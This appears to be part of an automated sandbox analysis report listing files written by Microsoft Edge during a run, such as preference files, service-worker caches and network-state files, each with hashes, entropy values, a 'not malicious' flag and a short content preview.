Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2c181.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2f2e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF336a1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13712), with no line terminators
Category:	dropped
Size (bytes):	13720
Entropy (8bit):	5.427362906494896
Encrypted:	false
SSDEEP:	192:stSkdplsCGyaNP9kq5kYBpP7ZKT6bPZPEHKyS8SbV+FFuQwR8NCPJYJ:stSQlsCGtJ55F4MFTbGUQwRM
MD5:	A283BA177A678403A2A6063327D56A52
SHA1:	95C828953C322A80FC33E75B5DEE75FFB9708AFC
SHA-256:	78928F1BCE00614955E216D9867F9B8C747C5495502378A1656504EF35DD595A
SHA-512:	11390EB2C55D1400C07D7B6C576693CDDA9F10E69CB63811D210FBB09D42B1F95A41F1DC1032D706709776F41265D3095FA7B2D341B4909FA2CC4560EA80E685
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375822664239234","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.570932261970303
Encrypted:	false
SSDEEP:	768:gUXcEKWPg6f3u8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtE0zsrwnpPtud:gUXcEKWPg6f3uu1jaK/zFVt+
MD5:	0C44070A5BC73AAD8E708C1441670D5C
SHA1:	D034EB9658289A5C227F54F8C82783B7A416E669
SHA-256:	DD79F46F7A0B92D26BC2C0278CD14C0B47A56D010E8D0E30841897FAC780950E
SHA-512:	8F86DE104104A8BFF75801187B11D3F597669A55F51D670699CD94972EF3FB519CB1EBF743655B038C0D0A76B6D82C58FFEDB3341CF23F4D3FEFB9FB6E57BE0E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2747a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.570932261970303
Encrypted:	false
SSDEEP:	768:gUXcEKWPg6f3u8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtE0zsrwnpPtud:gUXcEKWPg6f3uu1jaK/zFVt+
MD5:	0C44070A5BC73AAD8E708C1441670D5C
SHA1:	D034EB9658289A5C227F54F8C82783B7A416E669
SHA-256:	DD79F46F7A0B92D26BC2C0278CD14C0B47A56D010E8D0E30841897FAC780950E
SHA-512:	8F86DE104104A8BFF75801187B11D3F597669A55F51D670699CD94972EF3FB519CB1EBF743655B038C0D0A76B6D82C58FFEDB3341CF23F4D3FEFB9FB6E57BE0E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF29d4f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.570932261970303
Encrypted:	false
SSDEEP:	768:gUXcEKWPg6f3u8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtE0zsrwnpPtud:gUXcEKWPg6f3uu1jaK/zFVt+
MD5:	0C44070A5BC73AAD8E708C1441670D5C
SHA1:	D034EB9658289A5C227F54F8C82783B7A416E669
SHA-256:	DD79F46F7A0B92D26BC2C0278CD14C0B47A56D010E8D0E30841897FAC780950E
SHA-512:	8F86DE104104A8BFF75801187B11D3F597669A55F51D670699CD94972EF3FB519CB1EBF743655B038C0D0A76B6D82C58FFEDB3341CF23F4D3FEFB9FB6E57BE0E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375822663556735","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375822663556735","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.579942586589872
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/r9w:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/K
MD5:	4A135D0C4CF5C8F07EB7067039859719
SHA1:	100E1D64AA98FAE26F0C62045375D9EA7EF4FA6E
SHA-256:	B03BA635E50C314421252EF4062EA95595E69CFBD04D8600EBED1C111A415169
SHA-512:	D7E1C36E01FCE5426185D90E9F27E1CE844D9F4BCB210839451FCC0E795C60CD9555F5C6395B060844B6F12ED29C941B711D936FBB976FCD978007B440C2F971
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187817
Entropy (8bit):	6.381628579664132
Encrypted:	false
SSDEEP:	3072:nVhSOPiBa4swvD+ZEDDHB32A3TX5IYFCQVFJL/qLlsoC4vs:uswTDhBruQCQNL/Ew4vs
MD5:	2E2C206FBBF4C1E2D7113C0DE7C80807
SHA1:	C8A0FC7C7F7F3CB6698F602F1F32D97768975EBD
SHA-256:	72AA31C16639CA95B6E59DCEBDD4608DB4BCE3DD32BC92FE4BF52DCE0EE59282
SHA-512:	EE535BAECB932DFA07C5567D2B44920CB9398F974605313EAC8025919F8B2D036C9207F93D33CF31B18C086A27A1C1D6CF22795C971BBC0A0F439C6D8D8508FD
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.P........,T.8..`,.....L`.....,T...`......L`......Rc"G......exports...Rc.xO.....module....Rc..o&....define....Rb.j.-....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..zk.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xT6aXl/lrV/lxE0tllzPudn:YC60Udn
MD5:	7B74026CDC902822EE7B397E3E2494C5
SHA1:	5300E86C18B7A68BA5CB7EFC8D756E440A796068
SHA-256:	46AFB598CB173452C3A81D76D7CFAC066BBB2A92C22D49F8ECF257A53D87B7E7
SHA-512:	41382E543C0F419643AB6AFEBF209734DC993F16C9F40304DFFAEABC514773B2A74CD6621C2B77E7FA057F0D3257B6B92634567CBD1AA42938663B76B86A141B
Malicious:	false
Preview:	@......Roy retne.........................X....,....................>./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xT6aXl/lrV/lxE0tllzPudn:YC60Udn
MD5:	7B74026CDC902822EE7B397E3E2494C5
SHA1:	5300E86C18B7A68BA5CB7EFC8D756E440A796068
SHA-256:	46AFB598CB173452C3A81D76D7CFAC066BBB2A92C22D49F8ECF257A53D87B7E7
SHA-512:	41382E543C0F419643AB6AFEBF209734DC993F16C9F40304DFFAEABC514773B2A74CD6621C2B77E7FA057F0D3257B6B92634567CBD1AA42938663B76B86A141B
Malicious:	false
Preview:	@......Roy retne.........................X....,....................>./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2987d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:xT6aXl/lrV/lxE0tllzPudn:YC60Udn
MD5:	7B74026CDC902822EE7B397E3E2494C5
SHA1:	5300E86C18B7A68BA5CB7EFC8D756E440A796068
SHA-256:	46AFB598CB173452C3A81D76D7CFAC066BBB2A92C22D49F8ECF257A53D87B7E7
SHA-512:	41382E543C0F419643AB6AFEBF209734DC993F16C9F40304DFFAEABC514773B2A74CD6621C2B77E7FA057F0D3257B6B92634567CBD1AA42938663B76B86A141B
Malicious:	false
Preview:	@......Roy retne.........................X....,....................>./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlA9DYl/:/M/xT02znhYt
MD5:	FF0A1CA8BCDB042D0F7A27D15D94B7AB
SHA1:	18713FBDF68E76F5D3E93224E93A65EAF863DC73
SHA-256:	CE4B106976A599FFDAC4639B7D885097CD9CE899B8FD55293FF8351E23797F73
SHA-512:	EA434A1201088297820F5706857953D88F9AFF0F9F8AE1AF3DEDAA6CF1A3983044CF282147F7C123892E86F6EE6B20A5B1AA213A36E78CF56CDAB39D5703B0DF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\02aa6d6d-8d6b-4663-b5c7-a79b77e3d650.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\608871b1-4839-4100-93ed-31709c2cf0fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF257f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF25cbc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c739.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
